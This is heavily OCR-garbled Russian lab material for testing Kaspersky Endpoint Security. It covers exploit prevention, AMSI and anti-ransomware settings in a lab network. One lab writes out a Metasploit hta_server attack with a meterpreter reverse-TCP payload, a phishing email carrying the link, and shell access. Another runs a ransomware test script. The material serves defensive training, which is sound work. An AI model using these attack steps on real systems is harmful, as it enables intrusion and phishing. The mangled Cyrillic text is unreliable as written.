Advanced Threat Protection

Essential Threat Protection

APPLICATION SETTINGS

REVISION HISTORY ~ POLICY PROFILES

[5) Behavior Detection

Behavior Detection o) O
@ Behavior Detection ENABLED
Behavior Detection Settings 8 [ @)
Upon detecting malware activity
® Delete file

Terminate the application

Notify
Protection of shared folders against external encryption 8 [ @)
@D Protection of shared folders against external encryption ENABLED
Upon detection of external encryption of shared fo
o) Notify

Block connection

60
Exclusions
Attempts to encrypt shared folders from the listed computers will not be tracked
+ Add Delete == Import
Exclusions
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40. JobaBbTe
ucknoverHne. Beegute
IP agpec pabouyen
ctaHumn Alex-Desktop
(10.28.0.100)

41. Oeaxabl HaxxmuTe OK

Add exclusion

Specify the device name or P address
10.28.0.100

42. CoxpaHuTe U3MEHEHMsI
B NONUTUKE

3apaHue D: MpoeepbTe, UTO UCKNIOYEHUS AN AOBEPEHHbIX CeTeBbIX YCTPOMCTB
paboTaloT KOppeKTHO

e

Alex-Desktop

43. OTKpoVTe nanky BB Rt
\\tom_laptop\temp\ File Home Share View
.. . &« v 4 . > Network » tom-laptop > temp » v O Search temp P
44. Ypanute ann invoice.txt.aes -
2 Name Date modified Type Size
3 Quick access ]
I Deskicp -+ ; bsstest_amsi 15-Jan-190 Compressed (zipp... 1KB
4, eicar 06-Apr-21 1813 Compressed (zipp... 1KB
& Downloads * [ eicar_drop_kl_edu.cpp  14-Dec-1712:35  CPP File 2K8
Documents * [ inveice.bit.aes 20-Apr-21 AES File 1KB
=] Pictures E D invoice 01-Apr-2106:43  Text Document TKB
Distributives

45. Hangnte Ha pa60HeM crTone (ba|7|r| B C\Windows\systern32\cmd.exe -
ransomware2.bat n 3anycTtuTe ero lati ]

46. Y6eauTecnb, YTO chann invoice.txt I invoice.tt.aes - Notepad
Obin 3aWwmndpoBaH U U3HaYanbHbINA

chaiin invoice.txt He Gbin AES  [CREATED BY aescrypt 3.10 €
BOCCTaHOBNEH 7 «dyR™al60 H@SXIE (OyIX)~ YW!i3
_ . . . Lpms Gy TV A - w0 A L e © Y 5
ol - 1OFAESUM; )10 $1}q=xCex< i~ x~g2x30]8g

File Edit Format View Help

48. YbepguTech, 4To charn Gbin yaaneH
KOPPEKTHO
3aknioyeHune

B aton nabopartopHon pabote mbl yBugenu, 4to Kaspersky Endpoint Security ¢ HacTporikamy No ymonyaHuto
yMeeT 0bHapyx1BaTb BPEAOHOCHYI akTUBHOCTb BUPYCOB LUNMGPPOBarbLIMKOB-BbIMOraTenen. 3To NponucxoanT B
pamkax 3agadu AHanua noBegeHusl.

B cnyyae Heo6xoQMMOCTV agMUHUCTPATOP BCErda MOXET 3a4aTb MCKIOUYEHMS B KOMMOHEHTE 3aLuThl U
paspeLlaTb aKTUBHOCTb LWNMPOBaHMA B Nankax obLiero AocTyna A4S CETEBbIX YCTPONCTB.
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JlabopaTopHas paboTa 8.
Kak npoBEepUTHL 3au.w|'ry OT 3KCMNJIOMTOB

CueHapwun. Okcrnnyatauus ysi3BUMOCTEN A1 3M0YMbILLUIEHHUKA MOXET ObITb 3HAaYUTENbHO NPOoLLE, YEM MPUHATO
aymatb. Vimes nog pyKkon Takon MOLLHBIA MHCTPYMEHT Kak Metasploit Framework, 3noyMbILLITEHHVK MOXET co34aTb
SKCMITONT Y HAMEPEHHO pa3ocnaTb Ero HAYEro He NO4O3PEBaLUM COTPYAHMKAM KOMMaHWMU.

CopepxxaHue. B aToin nabopatopHoii paboTte Heo6xoaMMo:
1. VmunTupyiiTe xakepckyto ataky, ucrnonb3ys ya3sumoctb B PowerShell n nonyynTte goctyn kK yaaneHHomy
KOMMbloTEpY

2. OTtknounTe 60MbLUMHCTBO KOMMNOHEHTOB 3aLUThI
3. [poBepbTe 3aWUTY OT IKCMITONTOB

3apaHue A: imuTtupyiite xakepcKylo aTaKy, UCMoJib3ys YA3BMMOCTb B
PowerShell n nonyunte poctyn Kk ynaneHHomy KomnbloTepy

3anycTtute Ha komnbloTepe Kali yTunuTy ong BbINONHEHUS TECTMPOBaHMA Ha NPOHMKHOBEHUEe Metasploit
Framework. BeinonHute ataky Ha HTA (HTML Application), kotopas 3arpyxaetcs 4yepe3 PowerShell.

15 2

pC Ksc Tom-Laptop  Alex-Desktop Kali

Alex-Desktop

1. Ortkmounte Kaspersky Endpoint Security. MNpaBoi kHoNkown Kaspersky Endpoint Security for Windows
MbILLN LLENKHMTE Mo 3Hadky Kaspersky Endpoint Security B Pause protection...
obnactn yBeaomneHnn. B KOHTEKCTHOM MeHI0 BbibepuTe: EXit Settings
Support

About

Kali

2. BownagnTte B cuctemy nog ydeTHoum 3anuceto hacker. MNMaponb — Ka5per5Ky

3. OTkponte TepMmnHan
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4. 3anycTtute KoHcomnb Metasploit Framework. BeinonHute komaHay:

|Msfconsole

5. Bblbepute WwabnoH akcnnouTa. BeinonHuTe komaHAay:

| use exploit/windows/misc/hta server

[ns yno6cTBa BBOAA Bbl MOXETE BOCMOMb30BaThLCA Tabynsumnen

msf > use exploit/windows/misc/hta server

6. OT06pa3I/ITe CMNCOK YyA3BUMbIX I'IpVIJ'IO)KGHVIVI Ons gaHHoro akcnsiomta. BeinonHute KOMaHAy:

|show targets

7. BblbepuTe ataky Ha PowerShell x64. BeinonHnte komaHay:

|set target 1

8. BbIBepnTe BpeooHOCHYH Harpy3ky. BeinonHWTe komaHay

set PAYLOAD windows/x64/meterpreter/reverse tcp

) > set payload windows/x64/meterpreter/rever

payload => windows/x64/meterpreter/reverse tcp

9. 3apavite agpec cnywatoulero cepepa (agpec komnbtotepa Kali). Beegnte komaHay
set LHOST 10.28.0.50

) » set LHOST 18.28.8.58

10. AKTMBMpPYIMTE 9KCMNOUT. BbinonHuTe komaHgy
exploit -j
msfS exploit( ) > exploit -j

[*] Exploit running as background job ©.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.28.0.50:4444

msf5 exploit( ) > [*] Using URL: http://0.0.0.0:8080/VslgnNbskC.hta
*] Local IP: http://10.28.0.50:8080/VslgnNbskC.hta
*] Server started.

11. CkonupynTe ccbinky http://10.28.0.50:8080/******* hta B Oydep obmeHa (B KOHTEKCTHOM MEHIO HaXXMUTE
Copy Link)

12. OTKpONTE HOBbLIM IKIEMNASAP TepMUHana
13. Beegute B TepMuHane:
mailsend

14. YkaxuTe cneayoline napameTpsbl:
— SMTP server address/IP = 10.28.0.10
— From =tom@abc.lab
— To = alex@abc.lab
— Subject = Report
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15. Haxwmwnte Enter
16. BcTaBbTe cebinky M3 nyHkTa 11: http://10.28.0.50:8080/******* htg
17. Haxmute Enter

18. Beegute ogHy TOYKY —

. Haxmute Enter

- -
s
Alex-Desktop

o~ . = N | . 2
20. Otkponte Microsoft Outlook @ Inbox- sle@abelah - Outlook P
HOME SEND / RECEIVE FOLDER VIEW
T a H - A
21. Bblbepute nonyyeHHoe = Updite Folder EE [ DnkeoDounios R
NMMNCbMO =1 = Send All 0 -QI EUnmarktn Download = =
Send/Receive Show Cancel Downlead Work
All Folders /=1 5end/Receive Groups ™ progress Al Headers - Process Marked Headers *  offline
Y, Send & Receive Download Server Preferences
. UTKpouTe CCbIJIKY U3 N1UCbMa B
<
6pay3epe 4 Favorites Search Current Mailbox (Ctri~E) AP | Current Mailbox_~ €2 Reply 2 Reply All 3 Forward
Inbox 1 All Unread ByDate - Mewest Wed 31-Mar-21 15:07
23. CoxpaHnTe 06beKT Ha Sent ltems 4 Today tom@abc.lab
KOMMNbOTEP DR tom@abc.lab Report
Sz e To alex@abc.lab
4 alex@abclab Hello, friend!
ez 3 Hello, friend!
Drafts [1]
Sent Items Please, click the link:
Deleted Items hitp://10.28.0.50:3080/YNLSrQrpullkEg.hta
Junk E-mail
o Best wishes, Tom
Open File - Security Waming
24. B okHe npeaynpexaeHus
Ha)KMVlTe Ru n The publisher could not be verified. Are you sure you want to run this
software?
Name: C\Usersitom.ABC\Downloads\A74b792w5l.hta

Publisher.  Unknown Publisher
Type: HTML Application
From: Ch\Users\tom.ABC\Downloads\AT74b792w5l.hta

Run Cancel

Always ask before opening this file

5 This file does not have a valid digital signature that verifies its
@ publisher. You should only run software from publishers you trust.
How can | decide what software to run?

Kali

25. OtkponTe koHconb Metasploit Framework.

26. Ybegutecnb, UTO Obinia OTKpbITa HOBasA Ceccusi

.50:4444 -> 10.28.0.200:57881) at 2019-03-26 10: :47 +0000
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27. Ons nogknioyeHnst K co3aaHHoli ceccuu. BeinonHUTe komaHay:

sessions 1

roe 1 — Homep cosfaHHoN ceccum

)} » sessions

arting interaction with 1...

|

28. Bbl mony4mnu nonHbIv 4OCTYyN K yaaneHHon mawmnHe Alex-Desktop

29. Ytobbl 3anyctute Command Prom pt. BeinonHute komaHay:

|shell

JlTabopaTopHasi paboTa 8.
Kak npoBepuTb 3awwmTty 0T 3KCNNOWTOB

[anee Bbl MOXeTe BbIMOMHUTD KOMaHAay whoami, 4To6bl MOHATL NOA KakMM NMoNib3oBaTenem

NHNUMnanm3npoBaHa ceccud

|whoami

meterpreter > shell
Process 4060 created.
Channel 1 created.

Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\tom.ABC\Downloads>whoami

C:\Users\tom.ABC\Downloads>]]

SapaHue B: Otknounte 60NbLINHCTBO KOMMNOHEHTOB 3aLlMnThbl

B atom 3agaHnn Heobxoanmo OTKUNTE DOMBLUMHCTBO KOMMNOHEHTOB 3awwmThl Kaspersky Endpoint Security.

Komnbtotepbl KSC, DC, Alex-Desktop n Tom-Laptop gomkHbl ObiTb BKITHOYEHbI.

Dc

3agaHue BbinonHsieTcs Ha komnbtoTepe KSC.

30. OTkpoliTe BeD-
KoHconb Kaspersky
Security Center

31. B 60koBOM MEHI0
BblbepuTe Devices |
Polices & Profiles

32. OTKpoKrTe NONUTUKY
Kaspersky
Endpoint Security
for Windows

kaspersky

KASPERSKY
SECURITY CENTER

DEVICES

POLICIES & PROFILES

1171

KSC

Tom-Laptop  Alex-Desktop

Current path: KSC
Add = Refresh list
Stat = Policy name

Kaspersky Endpoint Security for Windows (11.6.0)

Kaspersky Security Center 13 Network Agent

¢

Application

Kaspersky Endpoint Security for

Kaspersky Security 11 for Winde.
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33. MNepengute Ha
Bknagky Application
Settings

(®) Kaspersky Endpoint Security for Windows (11.6.0)

High protection level.

GENERAL  EVENT CONFIGURATION  APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

34. Bblkntouute
KOMMOHEHTbI
3alNTbI: Essentia

— KSN
— Ananus ?
noseneHns

Advanced Threat Protection

Threat Protection

JlTabopaTopHasi paboTa 8.
Kak npoBepuTb 3awwmTty 0T 3KCNNOWTOB

35. MNepengute B pasgen
Essential Threat
Protection

Low protection level. Important protection components are disabled. Learn more

GENERAL EVENT CONFIGURATION  APPLICATION SETTINGS  REVISION HISTORY ~ POLICY PROFILES
36. Bbikntouute
Advanced Threat Protection s
KOMMOHEHTHI (e

. Essential Threat Protection
3allnTbl:

Security Controls

— 3awwuta ot
¢annoBbIX yrpos

— 3awuTta ot Beb-
yrpos

— 3auwuta ot
NMoYTOBbIX Yrpo3

ion and Response

ncryption

Local Tasks

General settings a
Networ the protection levell

Are you sure you want to apply these settings?

37. YT0oObI cCOXpaHUTb
NONUTUKY, HXXMUTE
Save

BadUSB Attsck Prevention

38. YTo6bl noaTBEPAUTL
npuMeHeHne
HacTpoek, HaXxXMuTe
Yes

39. MNopoxgute, noka
nonuTuka
NPUMEHNTCS

3apaHue C: NpoBepbTe 3aWnUTy OT IKCNJIONTOB

B aTom 3agaHnn Heobxoammo npoBepnTb pa60Ty KOMMOHeHTa 3alimTa oT 3KCNIIONTOB.

HauyHuTe BbINONHATHL 3agaHue Ha KoMnbloTepe Tom -Laptop.

B

=
Tom-Laptop

40. 3akponTe okHO Beb-Opaysepa

41. MNepesarpysuTte KomnbtloTep Top-Laptop

42. Bongnte B cuctemy

43. OTKpomTe ocHoBHOEe OkHO Kaspersky Endpoint Security

44. llenkHnTe NEeBON KHOMKOM MbIwn obnacTtb Protection Components

kaspersky

r more information,

Kaspersky Endpoint Security for Windows (11.6.0) [
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45. YbeamTech, YTO KOMMOHEHT
Exploit Prevention BknoyeH

46. MNepengute B Nanky Downloads

47. 3anyctuTe *.hta dann

48. ObpaTnTe BHUMaHue, 4YTo
BO3HMKIA owmnbka 3anycka
danna

49. B okHe Owmnbka cueHapus
Haxmute No

kaspersky

JlTabopaTopHasi paboTa 8.
Kak npoBepuTb 3awwmTty 0T 3KCNNOWTOB

|¢ Kaspersky Endpoint Security

€ Settings

Protection

General Advanced Threat Protection
Threats and Exclusions @ Exploit Prevention

Open report
Reports and Storage
Behavior Detection

MNetwork settings
Open report

Interface
Host Intrusion Prevention
Manage Settings Open report
@ Remediation Engine
Open report
. k& Application Tools [EREEULIEELH —
File Home Share View Manage
4 B & cut B x ﬁl - \ﬂ Fopen - HHselect
l—“ W= Copy path « ST Edit Select
Copy Paste Move Copy Delete Rename New Properties )
o rteut . e - folder < £ History Dﬂlnver‘t
Clipboard Organize New Open Seld
« v A & » ThisPC » Downloads v & Search Downloads
~ Name Date modified Type
3 Quick access
[T A74b792w51 hta 27-Apr-21 10:09 HTML Application
@ OneDrive
& This PC
. 3D Objects
[ Desktop
|= Documents
+ Downloads

a Script Error

& An error has occurred in the script on this page.

Line: 7
Char. 7
Error:  Permission denied
Code: 0

URL:  filg:/#/C:/\Users/tom ABC/Downloads/A74b 792w 5%:20(1) hta

Do you want to continue running scripts on this page?

v ]
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o Reports = o
50. OTkpoinTe oT4yeTbl Kaspersky
Endpoint Security ¢ , .
o Exploit Prevention @ | Update || savereport |
51. lNepenpute B OTYETEI _ ystem aucit mportance: @ [ A [ @]
KoMmnoHeHTa Exploit Prevention .
@ Advanced Threst Protection Tme | Day v | < 27-Apra1 27-Apr-21
52. YbeguTecb, YTO SKCNIOUT Obln Behavior Detection
Event date 4 Event Application Application name  App
OsHapy)Ke H Exploit Prevention
Today, 27-Apr-21 10:12:46  Blocked Micresoft (R) HTML Application host  mshta.exe (o)
Host Intrusion Prevention
[0 Today, 27-Apr-21 10:12:46 Malicious object detected i (R) HTML Application host mshta.exe Cy
O Essential Threat Protection Today, 27-Apr-21 10:12:46  Blocked Micresoft (R) HTML Application host  mshta.exe i
File Threat Protection [ Today, 27-Apr-21 10:12:46 Malicious object detected Microsoft (R) HTML Application host mshta.exe &\
Web Threat Protection Today, 27-Apr-21 10:12:46  Blocked Microsoft (R) HTML Application host mshta.exe CN
Mail Threat Protection [ Today, 27-Apr-21 10:12:46 Malicious object detected Microsoft (R) HTML Application host mshta.exe Ay
Firewall Today, 27-Apr-21 10:12:35  Task stopped avp.exe C\P
Network Threat Protection
AMSI Protection [ Today, 27-Apr-21 10:12:46 Malicicus object detected
Event: Malicious object detected
@ Security Controls Application: Microsaft (R) HTML Application hast
User: ABC\Tom
. User type: Active user
Adaptive Anomaly Control Component: Exploit Prevention
o Result description: Detected
Application Control Tyoe: Trojon program
. Name: HEUR:Trajan.Script Generic
Device Control Threat level: High
Web Control Object type: File

Kali

53. Bongute B cnuctemy nog yqetHonm 3anuckto hacker. MNaponbs — Ka5per5Ky

54. OTkponTe KoHcorb Metasploit

) > sessions

55. BbInonHuTe KoMaHay:

sessions

O6paT|/|Te BHUMaHWE, YTO aKTUBHbLIX CECCUM K
KOMMNbOTEPY 3N10YMbILLUNEHHNKA He YCTaHOBIIEeHO

No active sessions.

3akniouyeHve

B aToi nabopatopHon paboTe mMbl ybeamnmch, 4TO MHOFOYpOBHEBas cucTema 3awmTtbl Kaspersky Endpoint
Security Nno3BonsieT NpefoTBpaLlaTh CrOXHbIE YrPo3bl, KOr4a OCHOBHbIE KOMMOHEHTbI MPOrpaMMHOro obecrneveHus
OTKITHOYEHbI.

JlabopaTtopHasa paboTa 9.
Kak npoBeputb 3awmTy ot 6ecdaiinoBbix yrpos

CueHapun. B nocrnegHee Bpemsi akTMBHOE pacnpocTpaHeHNe Nornyyns HOBbIA BEKTOP Yrpo3 C NPUMEHEHUEM
MOLLHOTO MHCTPYMEHTa aAMMHUCTPUPOBaHNSA 1 ynpaeneHnsi onepaunoHHon cuctemon PowerShell.
3noyMbILLINEHHUK MOXET 3anyCTUTb B MPOCTPaHCTBE NamATu npouecca PowerShell ceon koa. becdarinoByto ataky
0BHapyX1Tb 3HAYNTENBHO CNOXHEE, NOCKONbKY BPEAOHOCHBIN KOA UCMNOMHAETCH B MaMsiTU, B OTNnYme oT
CTaHOApPTHbIX BUPYCOB, IAe BpeAOHOCHbIe dhaiirbl COXPaHATCS Ha NokarnbHOM aucke. B ocHoBHOM aTtaku ¢
ncnonb3oBaHneM PowerShell sBnstoTcst cneacTeBueM KOMNpoMeTauum, KoTopasi Hadanacb ¢ Apyrnx BpegoHOCHbIX
OENCTBUIA, Kak MPaBUIIO C AKCMTyaTauun ysa3BnMmMocTer nporpaMMHoro obecneveHus.
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CopepxkaHue. B aton nabopatopHoi pabote Heobxoammo oTknioumMTb KSN 1 npoBepuTb 0GHapyxeHne
BecdarinoBon yrposbl Npy NOMOLKM MHTEpdenca NpoT1B BPEOOHOCHOMO CkaHupoBaHna AMSI.

KomnsioTepsi KSC, DC, Alex-Desktop u Tom-Laptop gomiesl GeiTe Baosers.
| s 2 B

Tom-Laptop  Alex-Desktop

Tom-Laptop

1. OrtkpownTe nanky C:\temp B E B - bstestams

File Home Share View 4 o

2. PasapxuBupyinTe apxvs B select al

i = & & Move to ¥ Delete » %v
bsstest_amsi » =i . 1 et one
Pinto Quick Copy Paste Copy to 1 Rename New Properties

3. Bseaute napons infected access U folder © g mertseiecton

Clipboard Organize MNew Open Select

L < temp » bsstest amsi o v Search bsstest_amsi yel

~ .
I This PC Mame Date modified Type

_J 3D Objects bsstest_amsi 31-Mar-2113:38 File folder|
I Desktop

Documents

; Downloads

D Music

[&] Pictures

H Videos

‘i Local Disk (C:)

4. Haxmnte Win+R

B none BBOOa BBEAMTE

—=  Typethe name of a pregram, folder, decument, or Internet

pOWQrSh ell (= resource, and Windows will open it for you.

6. Haxmute kHonky OK Open: [ powershell v

Cancel Browse...

7. Tlepeiaute B Nanky pa3apX1MBYPOBAHHOIO CKpUNTa. BeINONHWTE kKoMaHay

cd c:\temp\bsstest amsi\bsstest amsi

8. 3anyctute TectoBbin PowerShell-ckpunt. BeinonHuTe komaHay:

.\bsstest amsi.psl
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9. Yb6egutecb, Kaspersky Endpoint Security 3abnokupoBan ucrnonHeHne ckpunta

PS C:\temp\bsstest_amsi\bsstest_amsi> .\bsstest_amsi.psl
@{version=5.1.162

At Tline:1 char:1

+ #KLBssBlockMeBasesKdbAmsi#

T

This script contains malicious content and has been blocked by your antivirus software.

At line:1 char:1

+ #KLBssBlockMeBasesKdbAmsi# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN ...

B A A A~ o A o B B A A B il

This script contains malicious content and has been blocked by your antivirus software.
Test succeded

PS C:\temp\bsstest_amsi\bsstest_amsi> _

10. OTtkpownte otyeT Kaspersky
Endpoint Security AMSI Protection @ Update Save report

o]
11. Bb|6epMTe AMSI PrOteCtIOﬂ System audit Importance: | (@ (B]
12. Y6eanTech, uyto Kaspersky © Advnced TheatProtection | Time: | Day v | < | 31-Mar21 ——
Endpoint Security OBHaPYKUIT  |sehavior petection
" O6e3Bpe,D,VIJ'I yrp03y Exploit Prevention Event date 4 Event Application name  Resy

Today, 31-Mar-21 15:42:07 The object scan result has been sent to a third-party application powershell.exe N¢
Host Intrusion Prevention

[0 Today, 31-Mar-21 15:42:07 Malicious object detected powershell.exe De

O Essential Threat Protection Today, 31-Mar-21 15:42:06 The object scan result has been sent to a third-party application powershell.exe N¢

File Threat Protection [ Today, 31-Mar-21 15:42:06 Malicious object detected powershell.exe De¢
Web Threat Protection @) Today, 31-Mar-2115:41:09 Task started avpexe
Mail Threat Protection Today, 31-Mar-21 14:25:32  Task stopped avp.exe

Firewall (D Today, 31-Mar-21 12:42:38  Task started avp.exe

Network Threat Protection
[ Today, 21-Mar-21 15:42

AMSI Protection

Event: Malicious object detected
@ Security Controls User: ABC\Tom

User type: Active user

Application name: powershell.exe

Application path: C\Windows\System32\WindowsPowerShell\v1.0
Component: AMS| Protection

Adaptive Anomaly Control

Application Control Result description: Detected

Type: Trojan program
Name: HEUR:Trajan Multi AmsiKdbDetect gen
Precision: Exactly

Device Control

Web Control

3akJiioueHue

Bbl cmornmn y6eamTbes, 4TO faxke Npu OTKIOYEHNM HEKOTOPBIX KOMMNOHEHTOB 3alwmThl, Kaspersky Endpoint
Security MoxeT 3cbheKTMBHO B3aUMOAENCTBOBATbL CO BCTPOEHHLIMU CPeACTBaMU UHTEPNPETaLMN CKPUMNTOB
onepauunoHHon cuctembl Microsoft Windows, oGHapymBaTb 1 GnoknpoBaTb 3anyck BpE4OHOCHOTO Koaa.

JlabopaTtopHasa pa6oTa 10.
Mepbi no noebiieHUIo 6e3onacHocTn paboueit
cTaHuMn ang 3auinmTtbl OT nporpamm-BblmoraTeneﬁ

CueHapun. V13 Bcex yrpo3 6onbLue Bcero Bac 6ecnokoaT nporpaMmmbl-BeiMoratenu. Ecnu ogHaxabl Kaspersky
Endpoint Security He 0OHapyXUT HOBYIO BEPCUIO BPEAOHOCHOM NpOrpamMMbl, KOMNaHUsA NOTepsieT MHOrO AEHer.
YT0Obl YMEHBLLUNTb PUCK, C MOMOLLIbIO KOMMOHEHTA NPeA0TBPaLLEHNE BTOPXKEHWUIA 3anpeTuTe BCEM NporpaMmmanm,
KpoMe [OBEPEHHbIX, MEHSTb JOKYMEHTbI Ha KOMMbIOTEpPax.

CopepxaHue. B aToin nabopatopHon paborTe:

1. VmuTtupynte 3apaxeHne BpedOHOCHOW NporpaMmon-BbiMoraTenem

2. 3anpeTtuTe U3MEHSITb U yaandTb JOKYMEHTbI BCEM NMporpaMMam, Kpome JOBEPEHHbIX

3. HactponTe xpaHnTb cobbITUS KOMMOHEHTA NpeaoTBpaLleHMe BTOpPXXeHun Ha CepBepe agMUHUCTPUPOBaHNS
4. NMuTupyinTe WndpoBaHne JOKYMEHTA N OLEeHNTE pe3ynbTaTt
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3apaHue A: Mimutupyiite 3apaxxeHmne BpefOHOCHOI Nnporpammoin-
BbiMoOraTenem

HainguTe Ha paBodeM cTorne koMrbioTepa Tom-Laptop v 3anyctute ckpunT ransomware.bat, KoTopblii wndpyeT
1 yOoanseT TeKCTOBbIA JOKYMEHT.

- Eg- C

-

DC KsC Tom-Laptop Alex-Desktop

1. HawnguTte Ha paboyem cTone dannel lindows\system32\cmd.exe
ransomware.bat un invoice.txt EEE

2. 3anyctute dann ransomware.bat

3. T[lpoBepbTe, 4YTO Ha paboyem cTone
Oonblue HeT darna invoice.txt, a
BMECTO Hero ectb gann invoice.txt.aes

4, OTKpOVITe cba|7|r| invoice.txt.aes B B invoice.d.aes - Notepad
nporpamme BrokHOT Fie Edit

Format View Help
5. Y6eauTech, 4To haiin invoice.txt.aes AES  [ICREATED_BY aescrypt 3.10 €

+ (TrgP=]Z8CEiAY < SELE : XkimS ¢, £1 , - ¥Tila¥aA=a09A=™ "\,
:=80ER " al=’ ATTEOGMOV-S¢°008 * us-§45 “Zc#A1BIT; °=xi0/ 1"
6. 3akponTe BnokHoT iat:e7: T~aP#U0, x{1; | 90yKU| A0

3alwmdpoBaH

3apaHue B: 3anpeTute n3ameHsTb U yaansaTb AOKYMEHTbl BCEM Nporpammam,
KpOome foBepeHHbIX

OTkpoWTe HacTponkn komnoHeHTa NpegoTepalleHne BTOpxKeHi B nonutuke Kaspersky Endpoint Security.
Hangute cnvcok 3awmiaemblx pecypcoB. CosganTe kateropmto Documents. [lobaBbTe B Hee dhavinbl ¢
paclumpeHuem *.txt. 3anpeTuTe BCeM nporpammam, KpoMe AOBEPEHHbIX, M3MEHATb, YAansaTb U co3gasaTb dhannbl
N3 3TOW KaTeropum.
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7. OrtkponTte Beb-
KoHconb Kaspersky
Security Center

8. B GokoBoM MeHI0
BblbepuTe Devices |
Polices & Profiles

9. OTkpounTe NONUTUKY
Kaspersky
Endpoint Security
for Windows

10. MNMepenaunTe Ha
BKNnagky
Application

Settings

11. B pasgene
Advanced Threat
Protection
BblOepute Host
Intrusion

Prevention

12. Bknoyute
KOMMNOHeHT Host
Intrusion

Prevention

13. OTkponTe cnncok
npas: nponamte no
ccolnke Application
rights and
protected

resources

kaspersky

INabopatopHas pa6oTa 10.
Mepbl no noBbIWeHWIO 6e3onacHoCcTM paboyelt cTaHLMKn 4nsa 3amnTbl OT
nporpaMmm-BbiMoraTenemn

DEVICES / POLICIES & PROFILES

Current path: KSC

[+ add | [ Refresnlist | & [ X ¢

KASPERSKY
SECURITY CENTER

[ stat Policy name Application

HKaspersky Endpoint Security for Windows (11.6.0)

Kaspersky Endpoint S

T= DEVICES

ecurity 11 for Windo... >3

POLICIES & PROFILES Haspersky Security Center 13 Network Agent

Kaspersky Endpoint Security for Windows (11.6.0) =

Low protection level. Important protection components are disabled. Learn more

GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS ~ REVISION HISTORY  POLICY PROFILES

Advanced Threat Protection

y Security Network

Essential

Security Controls

Detection and Response Be
Data Encryption

Local Tasks

General settings

Host Intrusion Pr jon

Host Intrusion Prevention

© The component settings are as recommended

Host Intrusion Prevention 8

@D Host Intrusion Prevention ENABLED

Application rights and protected resources 8

Application rights and protected resources
Configure application rights to access user files and application settings or to access operating system processes and objects.

Applications launched before Kaspersky Endpoint Security for Windows are automatically moved to the trust group
Low Restricted

Application processing rules 8

Update rights for previcusly unknown applications from KSN database
Trust apelications that have a digital signature

Delete rights for applications that are net started for more than (days, 1 10 30)
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14. NobaBbTe HOBYIO
KaTeropuio: B NIEBON
naHenn HaxuvmnTe
Add

15. Bbibepute
napametp Category
of protected
resources

16. YkaxuTe Ha3BaHue
Protected Files

17. NpowngnTe no
ccbinke Operating
System

18. Ykaxute
nogkaTeroputo
Personal data

19. Haxxmute OK
JBaxabl

20. NoGaBbTe
noaKaTeropuio: B
NeBour NaHenu
Haxvmute Add

kaspersky

Application rights and protected resources

Protected resources Application rights

Name

+ Add < Delete  ®) Reset a» Move
Name Changes
» [ Operating system

» [ Personal data

Applications ~

-+ Add X Delete

Status Applications

] 3 Trusted

] [ Low Restricted

3 High Restricted

3 Untrusted

) Reset & Move

INabopatopHas pa6oTa 10.

Mepbl no noBbIWeHWIO 6e3onacHoCcTM paboyelt cTaHLMKn 4nsa 3amnTbl OT

nporpaMmm-BbimMoraTenem

Read Write Delete Create

0000
PHOO
OO0
OO0

Add resource

Add resource

Group name

® Category of protected resources
File or folder
Registry key

Name

Pratected filg

d protected resources

Protected resources

Application rights

Name

+ Add X Delete %) Reset <> Move
Name Changes
» [ Operating system

» [ Personal data

Applications -~

+ Add < Delete
Status Applications
[~} 3 Trusted
-] 3 Low Restricted
3 High Restricted

3 Untrusted

Select group
Group name
> Operating system

® > Personal data

) Reset <> Move

Read Write Delete Create

o000
5SHOO
5500
5HO00
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21. Bblbepute
napameTtp Category
of protected
resources

22. YKaxuTe Ha3BaHue
Documents

23. NMpongute no
ccoblnke Operating
system

24. Ykaxunte
nogkaTeropuio
Protected Files

25. Haxmute OK
ABaxkabl

26. [JobaBbTe TUNbI
dannos B
kaTeroputo. B nesom
naHenun HaxmuTe
Add

27. B TMne pecypcos
BblbepuTe: file or
folder

28. B none Path to file
or folder BBeaute
* txt, a B none
Display name for
the list of
categories
pobasbTe txt

kaspersky
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Add resource

Add resource

Group name
Operating

® Category of protected resources
File or folder

Registry key

Name

[ Documentg

Select group
Group name
> Operating system
v Personal data
> User files
> Application Settings

. Protected Files

rights and protected resources

Protected resources Application rights
Q
+ Add ¥ Delete D) Reset <= Move -+ Add < Delete %) Reset e Move
Name Changes Status Applications Read Write Delete Create

» [ Operating system ] B Trusted ° ° ° °

» [ Personal data o a [ Low Restricted ° ° ° °
[ High Restricted ° & % @
Untrusted e % % @

Add resource

Add resource

Group name
Protected file

Category of protected resources
8 File or folder
Registry key
Path to file or folder
>t

Display name for the list of categories

it
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29.

30.

31.

32.

33.

34.

35.

36.
37.
38.

nporpaMmm-BbimMoraTenem

Mpongute no
ccobinke Operating

Select group

System Group name

» Operating system
YkaxuTe
nogkateropuro ~ Personal data
Documents > Userfiles
Haxmute OK

> Application Settings

OBaxabl
~ Protected Files
() Documents
yKa)KMTe npaBa p‘nﬂ Application rights and protected resources
Cco3aHHOMN
KaTeropMM: Protected resources Application rights
Bblbepute
KaTeropuro Name Applications -
Personal Data |
Protected files | Q
*

Documents I tXt + Add X Delete %) Reset <& Move -+ Add < Delete %) Reset <« Move
I-LlenKHVITe J'IeBOI7I Name Changes Status Applications Read Write Delete Create
KHOMKOW MbILLN MO

> Operating system L] [v] 3 Trusted v v v v
nosnt C HasBaHnem
*tXt ~ [3 Personal data L a B Low Restricted v o 9 o
SaI'IpeTVITe MEHSTb » 3 Userfiles ] 3 High Restricted i a % @
(baﬁnbl KaTerOpI/II/I » [ Application Settings ] [ Untrusted X >0 > >0
I'IpOFpaMMaVM c = B3 Protected Files [ ] [v]
penytaunen Low un
High Restricted: 7 [ Documents ¢ =
M3MEHNTE OeNCTBMe Ottt ° a

Ans onepauummn
Write, Delete n
Create Ha Block

HacTpowTe komnoHeHT MpenoTBpalleHne BTOPXKEHWIA 3anncbiBaThb, KOrga NporpamMmbl MbiTATCA MEHATb
OokyMeHTbl. Bknounte Log events: Write, Delete n Create gnsa Bcex 3anpeLuarLmnx gencTasmm
CoxpanuTe npaBsa gocrtyna: HaxmuTe OK gBaxabl

CoxpaHnTe NonuMTKKYy: HaxxmuTe Save

MogoxanTte, Noka nonuTrka NPpUMEeHNTCA

